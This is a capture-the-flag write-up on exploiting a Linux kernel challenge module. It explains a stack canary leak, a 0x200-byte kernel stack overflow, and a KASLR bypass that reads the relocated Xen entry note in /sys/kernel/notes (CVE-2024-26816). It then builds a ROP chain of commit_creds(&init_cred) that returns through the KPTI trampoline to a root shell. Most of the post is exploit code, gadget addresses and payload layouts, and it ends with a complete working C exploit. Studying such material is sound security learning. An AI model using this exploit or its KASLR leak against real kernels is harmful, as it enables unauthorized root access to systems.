From a Xen ELF Notes KASLR Leak to commit_creds(&init_cred) lpe

08-xen is a Linux kernel challenge from the Kernel Exploit Dojo. There is no driver source, so I started with hello.ko, the QEMU launch script, and the initramfs.

The module gives us most of what a stack ROP exploit needs:

  1. pip_read() leaks the kernel stack canary.
  2. pip_write() copies up to 0x200 bytes into a 0x100-byte stack buffer.
  3. A strange email check can be satisfied inside the overflow payload.

The missing part is a kernel text leak. KASLR is enabled and the obvious sources are restricted. The challenge kernel still exposes a relocated Xen entry-point note through /sys/kernel/notes, which gives us the kernel base.

The final chain is short:

mmap a page at 0x1337000
    -> read 8 bytes from /dev/pip-pip
    -> leak the stack canary
    -> read startup_xen from /sys/kernel/notes
    -> calculate the randomized kernel base
    -> put "pip@fakemail.com" at payload + 0x100
    -> restore the canary at payload + 0x110
    -> overwrite saved RIP at payload + 0x118
    -> pop rdi; commit_creds(&init_cred)
    -> return through the KPTI swapgs/iretq trampoline
    -> cat /flag and start /bin/sh as root

This post spends extra time on mmap() and the Xen note leak. The Xen leak was new to me and it took some time for me to get the mmap payload right which was a good learning process.

1. Reading the challenge environment first

The launcher tells us which mitigations matter:

qemu-system-x86_64 \
    -m 100M \
    -kernel ./bzImage \
    -initrd ./rootfs.cpio \
    -append "console=ttyS0 kaslr oops=panic panic=1 pti=on quiet" \
    -cpu qemu64,+smep,+smap \
    -monitor /dev/null \
    -nographic \
    -no-reboot

So the exploit has to deal with:

  • KASLR, because the kernel text base changes at every boot;
  • a stack canary;
  • SMEP and SMAP;
  • PTI/KPTI when returning to userspace.

The init script is just as important as the module:

/bin/mount -t proc proc /proc
/bin/mount -t sysfs sysfs /sys
/bin/mount -t devtmpfs devtmpfs /dev
/sbin/mdev -s

echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict

chown root:root /flag
chmod 400 /flag

insmod /root/hello.ko
mknod -m 666 /dev/pip-pip c `grep 'pip-pip' /proc/devices | awk '{print $1;}'` 0

setsid /bin/cttyhack setuidgid 1000 /bin/sh

The shell runs as UID 1000. /proc/kallsyms and dmesg are restricted, while the device is deliberately world-readable and world-writable. Sysfs is also mounted at /sys; that becomes relevant later.

One lesson I keep relearning in kernel challenges is that the attack surface is not only the .ko. The launcher decides the mitigations, and init decides what the unprivileged process can reach.

2. Turning the decompiler output into a protocol

The device implements normal Linux file operations. The useful callback signatures are:

ssize_t pip_read(struct file *file, char __user *user_buf,
                 size_t count, loff_t *position);

ssize_t pip_write(struct file *file, const char __user *user_buf,
                  size_t count, loff_t *position);

On x86-64, the first arguments arrive in rdi, rsi, rdx, and rcx:

register    callback value
--------    ---------------------------------
RDI         struct file *
RSI         userspace buffer address
RDX         requested byte count
RCX         file-position pointer

That mapping makes these two comparisons in pip_read() much easier to read:

cmp qword ptr [rsp+0x10], 0x1337000   ; saved RSI / user_buf
jne return_count
cmp qword ptr [rsp+0x08], 8           ; saved RDX / count
jne return_count

The driver is checking the pointer passed to read(), not the data stored at that pointer. Its userspace protocol is therefore:

read(fd, address 0x1337000, exactly 8 bytes)
write(fd, address 0x1337000, at most 0x200 bytes)

That is why a normal ioctl like cmd is not enough.

3. Why mmap() is needed

I originally thought that putting 0x1337000 into a variable would satisfy the comparison. It does not. There are two different things here:

address of a buffer    where the bytes live
contents of a buffer   the bytes stored there

For example:

uint64_t value = 0x1337000;

The contents of value are 0x1337000, but &value may be something like 0x7fffffffe2a8. The syscall passes &value to the driver, and the driver compares that address with 0x1337000.

mmap() asks the kernel to create a virtual-memory mapping in the calling process. Here I use it to reserve one page at the exact address expected by the module:

uint8_t *buf = mmap(
    (void *)0x1337000,
    0x1000,
    PROT_READ | PROT_WRITE,
    MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED,
    -1,
    0
);

if (buf == MAP_FAILED) {
    perror("mmap");
    exit(EXIT_FAILURE);
}

After this call, the process owns the virtual-address range:

0x01337000  +--------------------------------+
            | leak and exploit payload       |
            |                                |
0x01337fff  +--------------------------------+

The arguments are worth understanding one by one:

ArgumentMeaning in this exploit
(void *)0x1337000Requested start address. It matches the driver's literal comparison.
0x1000One 4 KiB page. We only need 0x200 bytes, but mappings operate in pages.
PROT_READUserspace may read the leaked canary from this page.
PROT_WRITEUserspace may build the payload there, and copy_to_user() may write the leak there.
MAP_PRIVATEThe mapping belongs privately to this process. Linux requires either private or shared mapping semantics.
MAP_ANONYMOUSThe page is zero-filled memory, not a mapping of a file.
MAP_FIXEDThe address is mandatory instead of a hint. This is the flag that satisfies the challenge check.
-1There is no backing file descriptor because the mapping is anonymous.
0File offset. It is unused for an anonymous mapping.

Why 0x133700 returned EINVAL

Normal x86-64 pages are 0x1000 bytes. A fixed mapping address therefore has to be page-aligned:

0x1337000 % 0x1000 = 0       aligned
0x0133700 % 0x1000 = 0x700   not aligned

The missing zero changed both the address and its alignment. With MAP_FIXED, Linux rejects the unaligned address with EINVAL.

Why sizeof(buf) is only 8

mmap() returns a pointer:

uint8_t *buf = mmap(...);

The pointer stores one virtual address, so on x86-64:

sizeof(buf)  == 8;       // size of the pointer
sizeof(*buf) == 1;       // size of one pointed-to uint8_t

The mapping is still 0x1000 bytes. Its length is tracked by the kernel's virtual-memory structures; it is not encoded in the C pointer.

Changing the declaration to uint64_t *buf does not fix this (this is what I did at first ;-):

sizeof(buf)  == 8;       // still a pointer
sizeof(*buf) == 8;       // now one pointed-to uint64_t

The driver needs an explicit payload length:

write(fd, buf, 0x200);

4. pip_read() leaks its own stack canary

The decompiler makes the leak look stranger than it is. The function prologue saves the stack protector at rsp+0x28: canary.png

The same code with semantic names is:

uint64_t saved_canary = kernel_stack_canary;

if (user_buf == (void *)0x1337000 &&
    count == sizeof(saved_canary)) {
    copy_to_user(user_buf, &saved_canary, sizeof(saved_canary));
}

The leak becomes:

read(fd, buf, 8);

uint64_t canary;
memcpy(&canary, buf, sizeof(canary));
printf("[*] canary: 0x%llx", canary);

The data flow is:

kernel stack at rsp+0x28
          |
          | copy_to_user(..., 8)
          v
userspace page at 0x1337000
          |
          | memcpy(..., 8)
          v
local uint64_t canary

5. Reversing pip_write()

pip_write() reserves 0x138 bytes and saves its canary at rsp+0x130:

sub rsp, 0x138
mov rax, qword ptr gs:[0x28]
mov qword ptr [rsp+0x130], rax

The destination passed to _copy_from_user() is only rsp+0x20: pip-write.png

The local body is 0x100 bytes, but the accepted count is as large as 0x200. That gives a direct kernel stack overflow.

The email check is part of the payload format

Before copying, the driver writes pip@fakemail.com at rsp+0x120. A full 0x200-byte copy starts at rsp+0x20, so our payload overwrites that string. The driver then calls: check.png Which is somewhat:

static void check(char *email)
{
    if (memcmp(email, "pip@fakemail.com", 0x10) != 0)
        memset(email, 'a', 0x80);
}

The pointer passed to check() is calculated as:

lea rax, [rsp+0x20]
add rax, 0x100
mov rdi, rax
call check

Therefore the email has to be at payload offset 0x100.

kernel copy destination = rsp + 0x20
check pointer           = rsp + 0x20 + 0x100

payload offset          = 0x100

which then gets passed to the function call. mailcheck.png

The matching payload code is:

memcpy(buf + 0x100, "pip@fakemail.com", 0x10);
memcpy(buf + 0x110, &canary, sizeof(canary));

uint64_t *rop = (uint64_t *)(buf + 0x118);

6. How to find the missing kernel leak

The module itself does not leak a kernel text pointer. Its read path gives us only the stack canary. That means decompiling hello.ko cannot be the whole solution.

I used the environment to narrow the search:

  1. run.sh enables kaslr.
  2. pip_write() gives saved-RIP control, so kernel addresses are the missing input for a ROP chain.
  3. init sets kptr_restrict=1 and dmesg_restrict=1, closing two common leak sources. For getting kernel oops leak for example.
  4. The same script mounts sysfs at /sys before dropping to UID 1000.

The interesting thing is this line what will be explained later in this blog.

/bin/mount -t sysfs sysfs /sys

Sysfs is a virtual filesystem backed by live kernel objects and callbacks. It is not an archive of ordinary files stored in the initramfs. After the mount, asking the virtual file system (VFS) to read /sys/kernel/notes invokes a kernel callback that copies bytes out of the running kernel image.

The command breaks down as:

mount -t sysfs sysfs /sys
      |        |     |
      |        |     +-- attach it at /sys
      |        +-------- conventional dummy source name
      +----------------- filesystem type implemented by the kernel

If sysfs were mounted at /mnt/k, the same attribute would be reachable as /mnt/k/kernel/notes. Without a sysfs mount, the kernel data and callback still exist, but there is no path through which this process can open them.

Mounting sysfs is normal. BusyBox mdev -s, which runs immediately afterward, uses sysfs to discover devices. The odd part is not that the challenge author mounted /sys; the odd part is that this kernel exports a relocated address through a world-readable attribute.

8. Three different things named "notes"

It helped me to keep these layers separate:

LayerWhat it isWhere it comes from
ELF .notesA metadata section in the linked vmlinux ELF image.Kernel build and linker.
sysfs notes attributeA binary read callback registered by kernel/ksysfs.c.Main Linux kernel code.
/sys/kernel/notesA pathname reaching that callback.Visible after sysfs is mounted at /sys.

The file is not generated by mount, and mount does not calculate any addresses. It only exposes a kernel object that was already registered.

9. What an ELF note actually is

An ELF note is a typed metadata record. It is not executable code. Producers use notes for information that tools, loaders, debuggers, or hypervisors may need while inspecting an ELF image.

Each note begins with three 32-bit fields:

struct elf_note_header {
    uint32_t name_size;
    uint32_t descriptor_size;
    uint32_t type;
};

The header is followed by a padded owner name and a padded descriptor:

+-----------+-----------+--------+--------------+----------------+
| namesz    | descsz    | type   | padded name  | padded value   |
+-----------+-----------+--------+--------------+----------------+

Different owners can reuse the numeric type namespace. The owner GNU, for example, can store a build ID. The owner Xen uses types defined by Xen's public ELF-note ABI.

The supplied vmlinux has a 0x1d8-byte .notes section containing Linux, GNU, and Xen records. The relevant record begins at section/file offset 0xbc:

/sys/kernel/notes offsetBytesMeaning
0xbc04 00 00 00Owner name is 4 bytes.
0xc008 00 00 00Descriptor is an 8-byte value.
0xc401 00 00 00Xen note type 1.
0xc858 65 6e 00Xen\0.
0xcceight bytesThe startup_xen virtual address.

Xen defines type 1 as XEN_ELFNOTE_ENTRY, the virtual entry point of a guest kernel. This is real boot metadata. It was not invented for the challenge.

10. Why the Xen entry note exists

Linux's x86 Xen startup assembly emits the note in this compile-time branch:

#ifdef CONFIG_XEN_PV
    ELFNOTE(Xen, XEN_ELFNOTE_ENTRY, _ASM_PTR startup_xen)
#endif

A Xen domain builder has to inspect a guest kernel before starting it. The notes tell it facts such as the guest OS, supported features, virtual mapping requirements, hypercall-page address, and entry point. Type 1 tells Xen where execution should begin.

The handout does not include a kernel .config, so there is no literal CONFIG_XEN_PV=y line to grep. The compiled record itself is the evidence:

owner = Xen
type  = XEN_ELFNOTE_ENTRY (1)
desc  = address of startup_xen

That ELFNOTE() invocation exists below #ifdef CONFIG_XEN_PV. Finding its exact binary output in the built-in kernel proves that the guarded code was compiled into this image.

The challenge boots the image with QEMU rather than Xen. That does not remove the note. Xen support was compiled into a general-purpose kernel image, so the metadata remains present even when this particular boot does not use it.

11. How Linux turns .notes into /sys/kernel/notes

The linker collects the individual note records into one .notes section and provides boundaries named __start_notes and __stop_notes.

kernel/ksysfs.c registers a binary sysfs attribute named notes. Its read path is equivalent to:

static ssize_t notes_read(struct file *file, struct kobject *kobj,
                          struct bin_attribute *attr, char *buf,
                          loff_t off, size_t count)
{
    memcpy(buf, __start_notes + off, count);
    return count;
}

The attribute has mode 0444, which is why UID 1000 can read it. Once sysfs is mounted at /sys, the registered attribute becomes /sys/kernel/notes.

The full path is:

arch/x86/xen/xen-head.S
    emits XEN_ELFNOTE_ENTRY(startup_xen)
                    |
                    v
vmlinux linker collects the record into .notes
                    |
                    v
x86 boot relocation may adjust its address descriptor
                    |
                    v
kernel/ksysfs.c copies the live section through a 0444 attribute
                    |
                    v
              /sys/kernel/notes

Linux added this sysfs ABI long before this challenge. One legitimate use is identifying the exact running kernel from note metadata such as its GNU build ID, so tooling can match it with the right debug symbols. The kernel ABI documentation describes the file as the binary representation of the running vmlinux .notes section.

This also explains why kptr_restrict=1 does not hide the value. The notes callback copies raw bytes. It does not print a pointer through %pK, so the pointer-formatting restrictions never run.

12. How the note defeats KASLR

The linked, unrandomized image contains:

_text       = 0xffffffff81000000
startup_xen = 0xffffffff83268af0

The symbol's build-specific offset is:

startup_xen - _text
= 0xffffffff83268af0 - 0xffffffff81000000
= 0x2268af0

During a vulnerable KASLR boot, x86 relocation adds the random slide to the address stored in the note:

runtime note = linked startup_xen + KASLR slide

One observed boot returned:

runtime startup_xen = 0xffffffff8d268af0

Subtracting the stable symbol offset gives the randomized text base:

runtime _text
= runtime startup_xen - 0x2268af0
= 0xffffffff8d268af0 - 0x2268af0
= 0xffffffff8b000000

The exploit only needs one pread():

static uint64_t leak_kernel_base(void)
{
    int fd = open("/sys/kernel/notes", O_RDONLY);
    if (fd < 0) {
        perror("open /sys/kernel/notes");
        exit(EXIT_FAILURE);
    }

    uint64_t startup_xen;
    if (pread(fd, &startup_xen, sizeof(startup_xen), 0xcc)
            != sizeof(startup_xen)) {
        perror("pread /sys/kernel/notes");
        exit(EXIT_FAILURE);
    }

    close(fd);
    return startup_xen - 0x2268af0;
}

Both constants are properties of this exact kernel build:

  • 0xcc is where this image lays out the Xen entry descriptor inside .notes;
  • 0x2268af0 is this image's startup_xen offset from _text.

A different kernel needs its own note parsing and symbol offset. Clearing low address bits until the result looks aligned is a guess; subtracting the known symbol offset is the reproducible calculation. xenleak.png

13. This is CVE-2024-26816, not a universal trick

The address disclosure is the behavior described by CVE-2024-26816. Jonathan Corbet's LWN article When ELF notes reveal too much is the best narrative explanation I found. It covers why the interface predates KASLR, how startup_xen exposed the slide, and why the existing leak scanner missed a pointer stored as binary data rather than printable text.

The initial upstream fix skipped note relocations in one relocation path. A follow-up also had to skip SHT_NOTE sections in walk_relocs(). The useful design decision was to preserve /sys/kernel/notes for legitimate tools while keeping its address descriptors equal to their static System.map values. Static linked addresses do not reveal the random runtime slide.

The challenge identifies itself as Linux 6.8.8, but the runtime behavior is what matters: its exported startup_xen value changes with KASLR. A kernel version string does not prove which patches or custom changes were used to build a challenge image. kchecksec.png

/sys/kernel/notes is only a useful KASLR leak when all of these are true:

  1. The kernel contains an address-bearing note, such as the Xen PV entry record.
  2. The address descriptor is relocated by the runtime KASLR slide.
  3. Sysfs is mounted somewhere visible to the process.
  4. The process is permitted to read the binary attribute.
  5. The attacker knows which symbol the value represents and its static offset.

It will not help when the kernel has no Xen PV entry note, when a fixed kernel leaves the descriptor unrelocated, when an LSM denies access, or when sysfs is not visible in the process's mount namespace.

So the reusable lesson is not "always read /sys/kernel/notes". The lesson is to enumerate readable kernel interfaces and test whether an exported value moves by the KASLR slide.

14. Resolving the ROP addresses

All useful addresses in exp.c were taken from the unrandomized challenge kernel. The macro converts each static address into its runtime address:

#define KADDR(x) (kbase + ((x) - 0xffffffff81000000ULL))

For example:

static commit_creds = 0xffffffff810d5870
static kernel base  = 0xffffffff81000000
symbol offset       = 0x000d5870

runtime commit_creds = kbase + 0x000d5870

The final exploit resolves:

uint64_t init_cred = KADDR(0xffffffff82a575a0);
uint64_t commit_creds = KADDR(0xffffffff810d5870);
uint64_t pop_rdi = KADDR(0xffffffff81f17abf);
uint64_t swapgs_iret = KADDR(0xffffffff82001750) + 0x6d;

Every kernel address in the chain is adjusted by the leaked base. The userspace return address is different: (uint64_t)return_to_userspace is an address in our own process and is used only after returning back to userspace.

15. Why commit_creds(&init_cred) gives root

Linux associates each task with a struct cred containing its UID, GID, capabilities, keyrings, and related security state. init_cred is the global credential object used by the initial root task. It represents UID 0 with the initial privileged capability set.

commit_creds() installs a supplied credential object as the current task's real and effective credentials. The ROP chain runs in syscall context for the exploit process, so "current task" is the process that called write().

Conceptually, the call is:

commit_creds(&init_cred);

The x86-64 calling convention passes the first function argument in rdi. That gives this two-step chain:

pop rdi
    -> RDI = &init_cred
    -> return into commit_creds
    -> current process now uses root credentials

Which eventually does:

pop rdi
jmp __x86_return_thunk

The return thunk contains a ret, so for ROP purposes it behaves like pop rdi; ret.

The actual chain begins at payload offset 0x118:

uint64_t *rop = (uint64_t *)&buf[0x118];

*rop++ = pop_rdi;
*rop++ = init_cred;
*rop++ = commit_creds;

This is shorter than the prepare_kernel_cred(NULL) route:

prepare_kernel_cred(NULL)
    -> returns a new struct cred * in RAX
    -> mov RDI, RAX gadget
    -> commit_creds(RDI)

Here init_cred is available at a known offset, so we can pass it directly and avoid both prepare_kernel_cred() and the mov rdi, rax gadget. I used the prepare_kernel_cred route in The Jumps kernel stack ROP post, while the direct commit_creds(&init_cred) idea also appears in my first kernel exploitation post.

16. Saving the userspace return state

After commit_creds() returns, the CPU is still executing kernel code at privilege level 0. Jumping directly to a userspace function would trigger SMEP because the CPU would try to execute a user page while still in kernel mode.

An iretq privilege transition needs this five-value frame:

RIP       userspace instruction address
CS        userspace code selector
RFLAGS    userspace flags
RSP       userspace stack pointer
SS        userspace stack selector

Four values are saved before triggering the bug:

struct user_state {
    uint64_t cs;
    uint64_t ss;
    uint64_t rflags;
    uint64_t rsp;
};

static void save_user_state(struct user_state *state)
{
    __asm__ volatile(
        "mov %%cs, %0\n"
        "mov %%ss, %1\n"
        "pushfq\n"
        "pop %2\n"
        "mov %%rsp, %3\n"
        : "=r"(state->cs), "=r"(state->ss), "=r"(state->rflags),
          "=r"(state->rsp));
}

The userspace RIP is the address of return_to_userspace().

17. Returning through the KPTI trampoline

The exploit uses the kernel's normal return machinery rather than executing a user page from kernelspace which is named swapgs_restore_regs_and_return_to_usermode.

uint64_t swapgs_iret = KADDR(0xffffffff82001750) + 0x6d;

The offset +0x6d enters at 0xffffffff820017bd, skipping a long list of register pops which we otherwise need to patch and only makes our ropchain unnecessary long:

ffffffff820017bd: mov rdi, rsp
ffffffff820017c0: mov rsp, qword ptr gs:[0x6004]
ffffffff820017c9: push qword ptr [rdi+0x30]  ; SS
ffffffff820017cc: push qword ptr [rdi+0x28]  ; RSP
ffffffff820017cf: push qword ptr [rdi+0x20]  ; RFLAGS
ffffffff820017d2: push qword ptr [rdi+0x18]  ; CS
ffffffff820017d5: push qword ptr [rdi+0x10]  ; RIP
ffffffff820017d8: push qword ptr [rdi]       ; saved RDI
...
ffffffff8200181b: mov cr3, rdi
...
ffffffff82001820: jmp 0xffffffff82001790
ffffffff82001790: swapgs

At trampoline entry, rsp points to the qword after the trampoline address. The exploit supplies this layout:

trampoline offset    value                     purpose
-----------------    ------------------------  ---------------------------
+0x00                0                         saved RDI slot
+0x08                0                         orig_ax/padding slot
+0x10                return_to_userspace       userspace RIP
+0x18                user.cs                   userspace CS
+0x20                user.rflags               userspace RFLAGS
+0x28                user.rsp                  userspace RSP
+0x30                user.ss                   userspace SS

That becomes:

*rop++ = swapgs_iret;
*rop++ = 0;
*rop++ = 0;
*rop++ = (uint64_t)return_to_userspace;
*rop++ = user.cs;
*rop++ = user.rflags;
*rop++ = user.rsp;
*rop++ = user.ss;

The trampoline copies the supplied iretq frame onto its safe per-CPU entry stack, switches away from the kernel page table for KPTI, executes swapgs, and reaches the native interrupt return path. iretq finally changes back to usermode and resumes at return_to_userspace().

18. Finishing in userspace

The return target is a naked wrapper:

__attribute__((naked, noreturn))
static void return_to_userspace(void)
{
    __asm__(
        ".intel_syntax noprefix;"
        "xor rbp, rbp;"
        "and rsp, ~0xF;"
        "call post_exploit;"
        "ud2;"
        ".att_syntax;");
}

It clears the stale frame pointer, aligns the restored stack for the userspace ABI, and calls normal C code:

static void post_exploit(void)
{
    system("cat /flag");
    system("/bin/sh");
    _exit(0);
}

The commands run as root because commit_creds() changed the current task before the trampoline returned to userspace.

19. The complete payload

Word by word, the important part of the 0x200-byte write is:

payload offset    value                 purpose
--------------    --------------------  -----------------------------------
0x100             email[0:8]            first half of pip@fakemail.com
0x108             email[8:16]           second half of pip@fakemail.com
0x110             canary                pass stack protector
0x118             pop_rdi               first overwritten return target
0x120             init_cred              argument loaded into RDI
0x128             commit_creds           install root credentials
0x130             swapgs_iret+0x6d       begin kernel-to-user return
0x138             0                      trampoline saved-RDI slot
0x140             0                      trampoline padding/orig_ax
0x148             return_to_userspace    ring-3 RIP
0x150             user.cs                ring-3 CS
0x158             user.rflags            restored flags
0x160             user.rsp               ring-3 stack
0x168             user.ss                ring-3 SS

20. Why the mitigations do not stop this chain

Stack canary

pip_read() leaks the exact guard used by pip_write(). The payload restores it at offset 0x110, so the epilogue comparison succeeds.

KASLR

The relocated startup_xen descriptor in /sys/kernel/notes gives the runtime text base. Every kernel function and gadget is rebased with KADDR().

SMEP

Every instruction executed while the CPU is in ring 0 comes from kernel text. The first userspace instruction runs only after the trampoline returns to ring 3 with iretq.

SMAP

The vulnerable driver uses _copy_from_user(), the intended SMAP-aware path, to copy the payload onto the kernel stack. The ROP chain then reads only its kernel stack; it does not dereference the mapped userspace page directly.

KPTI

The selected kernel return trampoline switches CR3 and constructs the proper userspace interrupt frame before swapgs/iretq.

21. End-to-end exploit flow

save userspace CS, SS, RFLAGS, and RSP
    -> open /dev/pip-pip
    -> mmap one page at the required 0x1337000 address
    -> read exactly 8 bytes
    -> pip_read copies its saved stack canary to userspace
    -> open /sys/kernel/notes
    -> pread the Xen entry descriptor at +0xcc
    -> subtract startup_xen offset 0x2268af0
    -> resolve init_cred, commit_creds, and gadgets from kbase
    -> place the exact 16-byte email at payload +0x100
    -> restore the canary at payload +0x110
    -> place the ROP chain at payload +0x118
    -> write 0x200 bytes from address 0x1337000
    -> pip_write overflows its 0x100-byte stack body
    -> email memcmp succeeds, so no destructive memset runs
    -> stack-canary comparison succeeds
    -> return enters pop rdi
    -> commit_creds(&init_cred) makes the current task root
    -> KPTI trampoline switches back to the userspace page tables
    -> swapgs and iretq return to ring 3
    -> return_to_userspace prints /flag and starts a root shell

22. Full exploit

#define _GNU_SOURCE

#include <errno.h>
#include <fcntl.h>
#include <inttypes.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>
#include <assert.h>
#include <sys/resource.h>
#include <sched.h>

#include <sys/mman.h>
#define KADDR(x) kbase+(x-0xffffffff81000000)

struct user_state {
    uint64_t cs;
    uint64_t ss;
    uint64_t rflags;
    uint64_t rsp;
};


static void save_user_state(struct user_state *state)
{
    __asm__ volatile(
        "mov %%cs, %0\n"
        "mov %%ss, %1\n"
        "pushfq\n"
        "pop %2\n"
        "mov %%rsp, %3\n"
        : "=r"(state->cs), "=r"(state->ss), "=r"(state->rflags),
          "=r"(state->rsp));
}

__attribute__((noreturn, noinline, used))
static void post_exploit(void)
{
    system("cat /flag");
    system("/bin/sh");
    _exit(0);
}

__attribute__((naked, noreturn))
static void return_to_userspace(void)
{
    __asm__(
        ".intel_syntax noprefix;"
        "xor rbp, rbp;"
        "and rsp, ~0xF;"
        "call post_exploit;"
        "ud2;"
        ".att_syntax;");
}

static uint64_t leak_kernel_base(void)
{
    int fd = open("/sys/kernel/notes", O_RDONLY);
    if (fd < 0) {
        perror("open /sys/kernel/notes");
        exit(EXIT_FAILURE);
    }

    uint64_t startup_xen;

    if (pread(fd, &startup_xen, sizeof(startup_xen), 0xcc)
            != sizeof(startup_xen)) {
        perror("pread /sys/kernel/notes");
        exit(EXIT_FAILURE);
    }

    close(fd);
    printf("[*] startup_xen: 0x%llx\n", startup_xen);
    return startup_xen - 0x2268af0;
}

int main() {
    // setup
    struct user_state user;
    save_user_state(&user);

    int fd = open("/dev/pip-pip", O_RDWR);
    uint8_t *buf = mmap(
        (void *)0x1337000,
        0x1000,
        PROT_READ | PROT_WRITE,
        MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED,
        -1,
        0
    );

    if (buf == MAP_FAILED) perror("mmap"), exit(1);

    read(fd, buf, 8);
    uint64_t canary;
    memcpy(&canary, buf, 8);
    printf("[*] canary: 0x%llx\n", canary);
    
    // leak kbase
    uint64_t kbase = leak_kernel_base();
    printf("[*] kbase: 0x%llx\n", kbase);
    
    // rop entry
    char email[] = "pip@fakemail.com";
    memcpy(buf + 0x100, &email, 16); // minus the \0 byte
    memcpy(buf + 0x110, &canary, 8); // patch the canary check

    uint64_t init_cred = KADDR(0xffffffff82a575a0);
    uint64_t commit_creds = KADDR(0xffffffff810d5870);
    uint64_t swapgs_iret = KADDR(0xffffffff82001750) + 0x6d; // to mov rdi, rsp
    uint64_t pop_rdi = KADDR(0xffffffff81f17abf);
    uint64_t iretq = KADDR(0xffffffff82001f00);

    uint64_t *rop = (uint64_t *)&buf[0x118];
    *rop++ = pop_rdi;
    *rop++ = init_cred;
    *rop++ = commit_creds;
    *rop++ = swapgs_iret;
    *rop++ = 0;
    *rop++ = 0;
    *rop++ = (uint64_t)return_to_userspace;
    *rop++ = user.cs;
    *rop++ = user.rflags;
    *rop++ = user.rsp;
    *rop++ = user.ss;

    write(fd, buf, 0x200);
    return 0;
}

solve.png

References